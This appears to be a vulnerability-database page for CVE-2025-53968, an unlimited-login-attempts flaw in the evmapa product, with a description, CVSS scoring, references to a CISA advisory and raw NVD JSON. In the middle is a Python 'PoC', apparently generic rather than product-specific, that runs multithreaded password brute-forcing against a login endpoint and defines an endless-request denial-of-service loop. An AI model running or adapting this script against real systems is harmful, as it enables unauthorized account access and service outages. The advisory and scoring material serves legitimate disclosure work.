CVE-2025-53968

Description

This vulnerability arises because there are no limitations on the number of authentication attempts a user can make. An attacker can exploit this weakness by continuously sending authentication requests, leading to a denial-of-service (DoS) condition. This can overwhelm the authentication system, rendering it unavailable to legitimate users and potentially causing service disruption. This can also allow attackers to conduct brute-force attacks to gain unauthorized access.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:evmapa:evmapa:*:*:*:*:*:*:*:* - VULNERABLE

未指定版本的ICS认证组件（受影响版本需查询具体产品公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-53968 PoC - 认证无限尝试DoS攻击示例
import requests
import threading
import time

TARGET_URL = "http://target-system.com/api/auth/login"
USERNAME = "admin"
PASSWORD_LIST = ["password123", "admin123", "123456", "admin", "test123"]
THREAD_COUNT = 10
REQUEST_DELAY = 0.1  # 秒

def brute_force_attack():
    """持续发送认证请求进行暴力破解"""
    session = requests.Session()
    for password in PASSWORD_LIST:
        for _ in range(1000):  # 无限尝试循环
            try:
                payload = {
                    "username": USERNAME,
                    "password": password
                }
                response = session.post(TARGET_URL, json=payload, timeout=5)
                print(f"[Attempt] Username: {USERNAME}, Password: {password}, Status: {response.status_code}")
                time.sleep(REQUEST_DELAY)
            except requests.exceptions.RequestException as e:
                print(f"[Error] Request failed: {e}")

def dos_attack():
    """发起DoS攻击，耗尽系统资源"""
    session = requests.Session()
    counter = 0
    while True:
        try:
            payload = {
                "username": f"user{counter}",
                "password": "invalid_password"
            }
            session.post(TARGET_URL, json=payload, timeout=5)
            counter += 1
            if counter % 100 == 0:
                print(f"[DoS] Sent {counter} requests")
        except Exception as e:
            print(f"[Error] {e}")

if __name__ == "__main__":
    print("CVE-2025-53968 PoC - Authentication Unlimited Attempts")
    threads = []
    
    # 启动多个线程进行暴力破解
    for i in range(THREAD_COUNT):
        t = threading.Thread(target=brute_force_attack)
        t.daemon = True
        t.start()
        threads.append(t)
    
    # 保持运行直到手动停止
    for t in threads:
        t.join()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53968
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53968
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53968/
[4] VulDB https://vuldb.com/cve/CVE-2025-53968
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-022-08.json
[6] https://www.cisa.gov/news-events/ics-advisories/icsa-26-022-08

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-53968", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:49.800", "lastModified": "2026-02-02T19:59:16.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability arises because there are no limitations on the number\n of authentication attempts a user can make. An attacker can exploit \nthis weakness by continuously sending authentication requests, leading \nto a denial-of-service (DoS) condition. This can overwhelm the \nauthentication system, rendering it unavailable to legitimate users and \npotentially causing service disruption. This can also allow attackers to\n conduct brute-force attacks to gain unauthorized access."}, {"lang": "es", "value": "Esta vulnerabilidad surge porque no hay limitaciones en el número de intentos de autenticación que un usuario puede realizar. Un atacante puede explotar esta debilidad enviando continuamente solicitudes de autenticación, lo que lleva a una condición de denegación de servicio (DoS). Esto puede sobrecargar el sistema de autenticación, dejándolo no disponible para usuarios legítimos y potencialmente causando interrupción del servicio. Esto también puede permitir a los atacantes realizar ataques de fuerza bruta para obtener acceso no autorizado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:evmapa:evmapa:*:*:*:*:*:*:*:*", "matchCriteriaId": "8C85ACDB-38D2-4466-9206-529F45F4720E"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-022-08.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-022-08", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}